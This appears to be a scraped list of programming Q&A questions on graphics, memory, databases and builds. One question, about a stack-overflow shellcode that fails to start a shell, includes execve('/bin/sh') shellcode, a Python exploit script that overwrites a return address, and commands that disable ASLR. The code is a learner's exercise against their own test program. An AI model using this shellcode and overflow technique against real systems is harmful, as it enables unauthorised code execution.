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  • How do I use depth testing and texture transparency together in my 2.5D world?

    - by nbolton
    Note: I've already found an answer (which I will post after this question) - I was just wondering if I was doing it right, or if there is a better way. I'm making a "2.5D" isometric game using OpenGL ES (JOGL). By "2.5D", I mean that the world is 3D, but it is rendered using 2D isometric tiles. The original problem I had to solve was that my textures had to be rendered in order (from back to front), so that the tiles overlapped properly to create the proper effect. After some reading, I quickly realised that this is the "old hat" 2D approach. This became difficult to do efficiently, since the 3D world can be modified by the player (so stuff can appear anywhere in 3D space) - so it seemed logical that I take advantage of the depth buffer. This meant that I didn't have to worry about rendering stuff in the correct order. However, I faced a problem. If you use GL_DEPTH_TEST and GL_BLEND together, it creates an effect where objects are blended with the background before they are "sorted" by z order (meaning that you get a weird kind of overlap where the transparency should be). Here's some pseudo code that should illustrate the problem (incidentally, I'm using libgdx for Android). create() { // ... // some other code here // ... Gdx.gl.glEnable(GL10.GL_DEPTH_TEST); Gdx.gl.glEnable(GL10.GL_BLEND); } render() { Gdx.gl.glClear(GL10.GL_COLOR_BUFFER_BIT | GL10.GL_DEPTH_BUFFER_BIT); Gdx.gl.glBlendFunc(GL10.GL_SRC_ALPHA, GL10.GL_ONE_MINUS_SRC_ALPHA); // ... // bind texture and create vertices // ... } So the question is: How do I solve the transparency overlap problem?

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  • OpenGL : sluggish performance in extracting texture from GPU

    - by Cyan
    I'm currently working on an algorithm which creates a texture within a render buffer. The operations are pretty complex, but for the GPU this is a simple task, done very quickly. The problem is that, after creating the texture, i would like to save it. This requires to extract it from GPU memory. For this operation, i'm using glGetTexImage(). It works, but the performance is sluggish. No, i mean even slower than that. For example, an 8MB texture (uncompressed) requires 3 seconds (yes, seconds) to be extracted. That's mind puzzling. I'm almost wondering if my graphic card is connected by a serial link... Well, anyway, i've looked around, and found some people complaining about the same, but no working solution so far. The most promising advise was to "extract data in the native format of the GPU". Which i've tried and tried, but failed so far. Edit : by moving the call to glGetTexImage() in a different place, the speed has been a bit improved for the most dramatic samples : looking again at the 8MB texture, it knows requires 500ms, instead of 3sec. It's better, but still much too slow. Smaller texture sizes were not affected by the change (typical timing remained into the 60-80ms range). Using glFinish() didn't help either. Note that, if i call glFinish() (without glGetTexImage), i'm getting a fixed 16ms result, whatever the texture size or complexity. It really looks like the timing for a frame at 60fps. The timing is measured for the full rendering + saving sequence. The call to glGetTexImage() alone does not really matter. That being said, it is this call which changes the performance. And yes, of course, as stated at the beginning, the texture is "created into the GPU", hence the need to save it.

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  • Should I worry about circular references in Python?

    - by bodacydo
    Suppose I have code that maintains parent/children structure. In such a structure I get circular references, where child points to parent and parent points to child. Should I worry about them? I'm using Python 2.5. I am concerned that they will not be garbage collected and the application will eventually consume all memory. Thanks, Boda Cydo.

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  • JCarousel wrap set to 'circular' bug

    - by Scott
    I'm trying to set up a JCarousel instance witht the wrap set to circular, however, I noticed an issue where I "inspect element" in Chrome, duplicate elements are added to the html when the slides repeat (it can be viewed on the official example page). http://sorgalla.com/projects/jcarousel/examples/static_circular.html I know this is an open bug on GitHub. I'm just wondering if anyone has found a temporary workaround. Thanks in advance, - Scott

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  • Why do i get a circular reference exception when calling to_json on an ActiveRecord::Relation

    - by midas06
    In Rails 3 (beta 3 on 1.8.7), when calling to_json on a relation i get a circular reference exception. Converting that relation to an array first, and THEN calling to_json works. Code That fails: Model.where().to_json (Where model is any model in your Rails 3 app) Code that works: Model.where().to_a.to_json This can be reproed on the console. Has anyone else run in to this? Is this expected?

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  • circular shift c

    - by simion
    I am doing some past papers and noticed a question where i have to shift the int one place to the right and return it i no in java i can just return n 1; is this possible in c? or is there a typically more compelx way of doing it :D. The method we were given is as follows // Return n after a right circular 1-bit shift unsigned int right_circular_shift_1(unsigned int n) {

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  • mysql circular dependency in foreign key constraints

    - by Flavius
    Given the schema: What I need is having every user_identities.belongs_to reference an users.id. At the same time, every users has a primary_identity as shown in the picture. However when I try to add this reference with ON DELETE NO ACTION ON UPDATE NO ACTION, MySQL says #1452 - Cannot add or update a child row: a foreign key constraint fails (yap.#sql-a3b_1bf, CONSTRAINT #sql-a3b_1bf_ibfk_1 FOREIGN KEY (belongs_to) REFERENCES users (id) ON DELETE NO ACTION ON UPDATE NO ACTION) I suspect this is due to the circular dependency, but how could I solve it (and maintain referential integrity)?

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  • Circular shift operations in C++

    - by Elroy
    Left and right shift operators (<< and ) are already available in C++. However, I couldn't find out how I could perform circular shift or rotate operations. How can operations like "Rotate Left" and "Rotate Right" be performed? Rotating right twice here Initial --> 1000 0011 0100 0010 should result in: Final --> 1010 0000 1101 0000 An example would be helpful.

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  • How to avoid circular reference when excel cell update

    - by Nimo
    Hi, I'm writing a set of functions in c++ which can be called by excel. However, these functions are asynchronous, therefore no immediate return values available. Once a result is available I used a callback function through VBA which update the result to the relevant cell which called the functions. But, here I'm having circular function calling problem, because when I update the cell. excel automatically call the original function once again. Please help me to get around this problem Thank You

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  • Why are my scene's depth values not being written to my DepthStencilView?

    - by dotminic
    I'm rendering to a depth map in order to use it as a shader resource view, but when I sample the depth map in my shader, the red component has a value of 1 while all other channels have a value of 0. The Texture2D I use to create the DepthStencilView is bound with the D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE flags, the DepthStencilView has the DXGI_FORMAT_D32_FLOAT format, and the ShaderResourceView's format is D3D11_SRV_DIMENSION_TEXTURE2D. I'm setting the depth map render target, then i'm drawing my scene, and once that is done, I'm the back buffer render target and depth stencil are set on the output merger, and I'm using the depth map shader resource view as a texture in my shader, but the depth value in the red channel is constantly 1. I'm not getting any runtime errors from D3D, and no compile time warning or anything. I'm not sure what I'm missing here at all. I have the impression the depth value is always being set to 1. I have not set any depth/stencil states, and AFAICT depth writing is enabled by default. The geometry is being rendered correctly so I'm pretty sure depth writing is enabled. The device is created with the appropriate debug flags; #if defined(DEBUG) || defined(_DEBUG) deviceFlags |= D3D11_CREATE_DEVICE_DEBUG | D3D11_RLDO_DETAIL; #endif This is how I create my depth map. I've omitted error checking for the sake of brevity D3D11_TEXTURE2D_DESC td; td.Width = width; td.Height = height; td.MipLevels = 1; td.ArraySize = 1; td.Format = DXGI_FORMAT_R32_TYPELESS; td.SampleDesc.Count = 1; td.SampleDesc.Quality = 0; td.Usage = D3D11_USAGE_DEFAULT; td.BindFlags = D3D11_BIND_DEPTH_STENCIL | D3D11_BIND_SHADER_RESOURCE; td.CPUAccessFlags = 0; td.MiscFlags = 0; _device->CreateTexture2D(&texDesc, 0, &this->_depthMap); D3D11_DEPTH_STENCIL_VIEW_DESC dsvd; ZeroMemory(&dsvd, sizeof(dsvd)); dsvd.Format = DXGI_FORMAT_D32_FLOAT; dsvd.ViewDimension = D3D11_DSV_DIMENSION_TEXTURE2D; dsvd.Texture2D.MipSlice = 0; _device->CreateDepthStencilView(this->_depthMap, &dsvd, &this->_dmapDSV); D3D11_SHADER_RESOURCE_VIEW_DESC srvd; srvd.Format = DXGI_FORMAT_R32_FLOAT; srvd.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D; srvd.Texture2D.MipLevels = texDesc.MipLevels; srvd.Texture2D.MostDetailedMip = 0; _device->CreateShaderResourceView(this->_depthMap, &srvd, &this->_dmapSRV);

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  • Why distant objects draw in front of close objects?

    - by cad
    I am rendering two cubes in the space using XNA 4.0 and the layering of objects only works from certain angles. Here is what I see from the front angle (everything ok) Here is what I see from behind This is my draw method. Cubes are drawn by serverManager and serverManager1 protected override void Draw(GameTime gameTime) { GraphicsDevice.Clear(Color.CornflowerBlue); switch (_gameStateFSM.State) { case GameFSMState.GameStateFSM.INTROSCREEN: spriteBatch.Begin(); introscreen.Draw(spriteBatch); spriteBatch.End(); break; case GameFSMState.GameStateFSM.GAME: spriteBatch.Begin(SpriteSortMode.Deferred, BlendState.AlphaBlend); // Text screenMessagesManager.Draw(spriteBatch, firstPersonCamera.cameraPosition, fpsHelper.framesPerSecond); // Camera firstPersonCamera.Draw(); // Servers serverManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); serverManager1.Draw(GraphicsDevice, firstPersonCamera.viewMatrix, firstPersonCamera.projMatrix); // Room //roomManager.Draw(GraphicsDevice, firstPersonCamera.viewMatrix); spriteBatch.End(); break; case GameFSMState.GameStateFSM.EXITGAME: break; default: break; } base.Draw(gameTime); fpsHelper.IncrementFrameCounter(); } serverManager and serverManager1 are instances of the same class ServerManager that draws a cube. The draw method for ServerManager is: public void Draw(GraphicsDevice graphicsDevice, Matrix viewMatrix, Matrix projectionMatrix) { cubeEffect.World = Matrix.CreateTranslation(modelPosition); // Set the World matrix which defines the position of the cube cubeEffect.View = viewMatrix; // Set the View matrix which defines the camera and what it's looking at cubeEffect.Projection = projectionMatrix; // Enable textures on the Cube Effect. this is necessary to texture the model cubeEffect.TextureEnabled = true; cubeEffect.Texture = cubeTexture; // Enable some pretty lights cubeEffect.EnableDefaultLighting(); // apply the effect and render the cube foreach (EffectPass pass in cubeEffect.CurrentTechnique.Passes) { pass.Apply(); cubeToDraw.RenderToDevice(graphicsDevice); } } Obviously there is something I am doing wrong. Any hint of where to look? (Maybe z-buffer or occlusion tests?)

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  • Shellcode for a simple stack overflow doesn't start a shell

    - by henning
    Hi, I played around with buffer overflows on Linux (amd64) and tried exploiting a simple program, but it failed. I disabled the security features (address space layout randomization with sysctl -w kernel.randomize_va_space=0 and nx bit in the bios). It jumps to the stack and executes the shellcode, but it doesn't start a shell. Seems like the execve syscall fails. Any idea what's wrong? Running the shellcode standalone works just fine. Bonus question: Why do I need to set rax to zero before calling printf? (See comment in the code) Vulnerable file buffer.s: .data .fmtsp: .string "Stackpointer %p\n" .fmtjump: .string "Jump to %p\n" .text .global main main: push %rbp mov %rsp, %rbp sub $120, %rsp # calling printf without setting rax # to zero results in a segfault. why? xor %rax, %rax mov %rsp, %rsi mov $.fmtsp, %rdi call printf mov %rsp, %rdi call gets xor %rax, %rax mov $.fmtjump, %rdi mov 8(%rbp), %rsi call printf xor %rax, %rax leave ret shellcode.s .text .global main main: mov $0x68732f6e69622fff, %rbx shr $0x8, %rbx push %rbx mov %rsp, %rdi xor %rsi, %rsi xor %rdx, %rdx xor %rax, %rax add $0x3b, %rax syscall exploit.py shellcode = "\x48\xbb\xff\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xeb\x08\x53\x48\x89\xe7\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x48\x83\xc0\x3b\x0f\x05" stackpointer = "\x7f\xff\xff\xff\xe3\x28" output = shellcode output += 'a' * (120 - len(shellcode)) # fill buffer output += 'b' * 8 # override stored base pointer output += ''.join(reversed(stackpointer)) print output Compiled with: $ gcc -o buffer buffer.s $ gcc -o shellcode shellcode.s Started with: $ python exploit.py | ./buffer Stackpointer 0x7fffffffe328 Jump to 0x7fffffffe328

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  • High Sqlservr.exe Memory Usage

    - by user18576
    I have a problem with sqlservr.exe (version 2008). It use a more memory. I checked on windows taskbar manager, sqlservr.exe usage ( Mem usage - 8GB Ram). I dont know how can I fix it.Got the following metrics of the server using Perfmon: SQLServer:Buffer Manager Buffer cache hit ratio 13 SQLServer:Buffer Manager Page lookups/sec 46026128096 SQLServer:Buffer Manager Free pages 129295 SQLServer:Buffer Manager Total pages 997309 SQLServer:Buffer Manager Target pages 1053560 SQLServer:Buffer Manager Database pages 484117 SQLServer:Buffer Manager Reserved pages 0 SQLServer:Buffer Manager Stolen pages 383897 SQLServer:Buffer Manager Lazy writes/sec 384369 SQLServer:Buffer Manager Readahead pages/sec 69315446 SQLServer:Buffer Manager Page reads/sec 71280353 SQLServer:Buffer Manager Page writes/sec 12408371 SQLServer:Buffer Manager Checkpoint pages/sec 7053801 SQLServer:Buffer Manager Page life expectancy 735262 SQLServer:General Statistics Active Temp Tables 161 SQLServer:General Statistics Temp Tables Creation Rate 3131845 SQLServer:General Statistics Logins/sec 2336011 SQLServer:General Statistics Logouts/sec 2335984 SQLServer:General Statistics User Connections 27 SQLServer:General Statistics Transactions 0 SQLServer:Access Methods Full Scans/sec 34422821 SQLServer:Access Methods Range Scans/sec 2027247756 SQLServer:Access Methods Workfiles Created/sec 49771600 SQLServer:Access Methods Worktables Created/sec 28205828 SQLServer:Access Methods Index Searches/sec 4890715219 SQLServer:Access Methods FreeSpace Scans/sec 21178928 SQLServer:Access Methods FreeSpace Page Fetches/sec 21226653 SQLServer:Access Methods Pages Allocated/sec 41483279 SQLServer:Access Methods Extents Allocated/sec 4743504 SQLServer:Access Methods Extent Deallocations/sec 4806606 SQLServer:Access Methods Page Deallocations/sec 41419137 SQLServer:Access Methods Page Splits/sec 23834799 SQLServer:Memory Manager SQL Cache Memory (KB) 29160 SQLServer:Memory Manager Target Server Memory (KB) 8428480 SQLServer:Memory Manager Total Server Memory (KB) 7978472 Some body could help me please.And I really want to know the cause for the above.

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • Innodb : cannot allocate the memory for the buffer pool

    - by mingyeow
    My innodb keeps crashing. This is the error message below. Does anyone know why this keeps happening? InnoDB: by InnoDB 49201616 bytes. Operating system errno: 12 InnoDB: Check if you should increase the swap file or InnoDB: ulimits of your operating system. InnoDB: On FreeBSD check you have compiled the OS with InnoDB: a big enough maximum process size. InnoDB: Note that in most 32-bit computers the process InnoDB: memory space is limited to 2 GB or 4 GB. InnoDB: We keep retrying the allocation for 60 seconds... 0 processes alive and '/usr/bin/mysqladmin --defaults-file=/etc/mysql/debian.cnf ping' resulted in /usr/bin/mysqladmin: connect to server at 'localhost' failed error: 'Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)' Check that mysqld is running and that the socket: '/var/run/mysqld/mysqld.sock' exists! InnoDB: Fatal error: cannot allocate the memory for the buffer pool [ERROR] Default storage engine (InnoDB) is not available

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  • Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host.

    - by Paul J. Warner
    I am having an issue with a program where after 6 mins +- 5 secs we get the above exception. Some more info about the exception stacktrace is below. This all happens pretty religiously, 6 mins goes by and bam the following 3 exeptions. We have the application installed in 2 other environments and it is working fine there. I am hoping to find some server settings either IIS 6 or Server 2003 settings that may be causing this issue to occur. I have reviewed some of the similar questions and don't see very many answers. I am hoping that maybe the information I have provided may help a little bit. 208741,Exception,,,,2011-06-21 00:30:14.193,SERVERNAME,2624,1,CLIENTNAME,The underlying connection was closed: An unexpected error occurred on a receive. , at System.Web.Services.Protocols.WebClientProtocol.GetWebResponse(WebRequest request) at System.Web.Services.Protocols.HttpWebClientProtocol.GetWebResponse(WebRequest request) at Microsoft.Web.Services3.WebServicesClientProtocol.GetResponse(WebRequest request, IAsyncResult result) at System.Web.Services.Protocols.SoapHttpClientProtocol.Invoke(String methodName, Object[] parameters) at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208742,Exception,,,,2011-06-21 00:30:14.227,SERVERNAME,2624,1,CLIENTNAME,Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host. , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.FixedSizeReader.ReadPacket(Byte[] buffer, Int32 offset, Int32 count) at System.Net.Security._SslStream.StartFrameHeader(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.StartReading(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.Security._SslStream.ProcessRead(Byte[] buffer, Int32 offset, Int32 count, AsyncProtocolRequest asyncRequest) at System.Net.TlsStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.PooledStream.Read(Byte[] buffer, Int32 offset, Int32 size) at System.Net.Connection.SyncRead(HttpWebRequest request, Boolean userRetrievedStream, Boolean probeRead),2004437127,114,1 208743,Exception,,,,2011-06-21 00:30:14.287,SERVERNAME,2624,1,CLIENTNAME,An existing connection was forcibly closed by the remote host , at System.Net.Sockets.NetworkStream.Read(Byte[] buffer, Int32 offset, Int32 size),-691097507,62,1

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  • Installing vim7.2 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Dumping a Linux console scrollback buffer?

    - by Gerald Combs
    We would like to save the output of a program run on a Linux console which spans many lines. Unfortunately it wasn't logged or run under screen, or any other way that lets us easily capture the output. The best method we've been able to come up with so far is: Log into the machine via a separate SSH session In the console session, page to the top of the buffer Repeat: In the SSH session, run "cat /dev/vcs >> screendump.txt" In the console session, page down one screen Dump the final screen in the SSH session Is there a better way? It seems like if the VC memory were contiguous and you knew where it was you could use dd to pull the console text directly out of kernel memory and into a file.

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  • Installing vim7 on Solaris Sparc 2.6 as non-root

    - by Tobbe
    I'm trying to install vim to $HOME/bin by compiling the sources. ./configure --prefix=$home/bin seems to work, but when running make I get: > make Starting make in the src directory. If there are problems, cd to the src directory and run make there cd src && make first gcc -c -I. -Iproto -DHAVE_CONFIG_H -DFEAT_GUI_GTK -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/pango-1.0 -I/usr/openwin/include -I/usr/sfw/include -I/usr/sfw/include/freetype2 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -g -O2 -I/usr/openwin/include -o objects/buffer.o buffer.c In file included from buffer.c:28: vim.h:41: error: syntax error before ':' token In file included from os_unix.h:29, from vim.h:245, from buffer.c:28: /usr/include/sys/stat.h:251: error: syntax error before "blksize_t" /usr/include/sys/stat.h:255: error: syntax error before '}' token /usr/include/sys/stat.h:309: error: syntax error before "blksize_t" /usr/include/sys/stat.h:310: error: conflicting types for 'st_blocks' /usr/include/sys/stat.h:252: error: previous declaration of 'st_blocks' was here /usr/include/sys/stat.h:313: error: syntax error before '}' token In file included from /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:132, from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/sys/siginfo.h:259: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:292: error: syntax error before '}' token /usr/include/sys/siginfo.h:294: error: syntax error before '}' token /usr/include/sys/siginfo.h:390: error: syntax error before "ctid_t" /usr/include/sys/siginfo.h:398: error: conflicting types for '__fault' /usr/include/sys/siginfo.h:267: error: previous declaration of '__fault' was here /usr/include/sys/siginfo.h:404: error: conflicting types for '__file' /usr/include/sys/siginfo.h:273: error: previous declaration of '__file' was here /usr/include/sys/siginfo.h:420: error: conflicting types for '__prof' /usr/include/sys/siginfo.h:287: error: previous declaration of '__prof' was here /usr/include/sys/siginfo.h:424: error: conflicting types for '__rctl' /usr/include/sys/siginfo.h:291: error: previous declaration of '__rctl' was here /usr/include/sys/siginfo.h:426: error: syntax error before '}' token /usr/include/sys/siginfo.h:428: error: syntax error before '}' token /usr/include/sys/siginfo.h:432: error: syntax error before "k_siginfo_t" /usr/include/sys/siginfo.h:437: error: syntax error before '}' token In file included from /usr/include/signal.h:26, from os_unix.h:163, from vim.h:245, from buffer.c:28: /opt/local/bin/../lib/gcc/sparc-sun-solaris2.6/3.4.6/include/sys/signal.h:173: error: syntax error before "siginfo_t" In file included from os_unix.h:163, from vim.h:245, from buffer.c:28: /usr/include/signal.h:111: error: syntax error before "siginfo_t" /usr/include/signal.h:113: error: syntax error before "siginfo_t" buffer.c: In function `buflist_new': buffer.c:1502: error: storage size of 'st' isn't known buffer.c: In function `buflist_findname': buffer.c:1989: error: storage size of 'st' isn't known buffer.c: In function `setfname': buffer.c:2578: error: storage size of 'st' isn't known buffer.c: In function `otherfile_buf': buffer.c:2836: error: storage size of 'st' isn't known buffer.c: In function `buf_setino': buffer.c:2874: error: storage size of 'st' isn't known buffer.c: In function `buf_same_ino': buffer.c:2894: error: dereferencing pointer to incomplete type buffer.c:2895: error: dereferencing pointer to incomplete type *** Error code 1 make: Fatal error: Command failed for target `objects/buffer.o' Current working directory /home/xluntor/vim72/src *** Error code 1 make: Fatal error: Command failed for target `first' How do I fix the make errors? Or is there another way to install vim as non-root? Thanks in advance

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  • Notepad++ setting to clear the undo buffer on save

    - by J Jones
    Hello, I've noticed that Notepad++ is clearing the undo buffer when I save a file. This just started happening when I updated the editor to version 5.6.8. (previous version was pretty old... 5.3.? perhaps...) I've seen one reference out there (look at last bullet of answer) that this might be a setting I can change. But for the life of me, I can't find it. Anyone familiar with this?

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  • MySQL maintenance - how to clear the buffer?

    - by Dougal
    We have a server running our web app (PHP / MySQL) which is SLOW. My predecessor says that: "We use to do database maintenance, which use to clear the buffer, cached and unwanted variables." And I wonder what on earth he means with that statement? Does he mean a simple optimize of the tables? Or the query cache? I understand MySQL but don't really know what he is describing. I would appreciate any pointers. Thanks.

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  • ext4 loopback device, Buffer I/O Error on reboot

    - by cvb
    I am trying to mount a loopback device on my ext4 formatted ssd drive. I get these errors when I reboot on Linux kernel 2.6.38.8 Buffer I/O error on device loop1, logical block 0 Here is what I do: dd if=/dev/zero of=/mnt/s/lodev bs=4096 count=250000 mkfs.ext4 /mnt/s/lodev mount -n -o loop,rw /mnt/s/lodev /mnt/test The loopback mount is successful, but on reboot I get errors as mentioned above. Even mouting with 'sync','data=writeback' does not help. I tried to losetup a device, but see the same behavior. I also reformatted the base device and created the loopback device and mounted as above, I still see these errors. I do not see them when I format them as vfat. Appreciate any suggestions on this problem.

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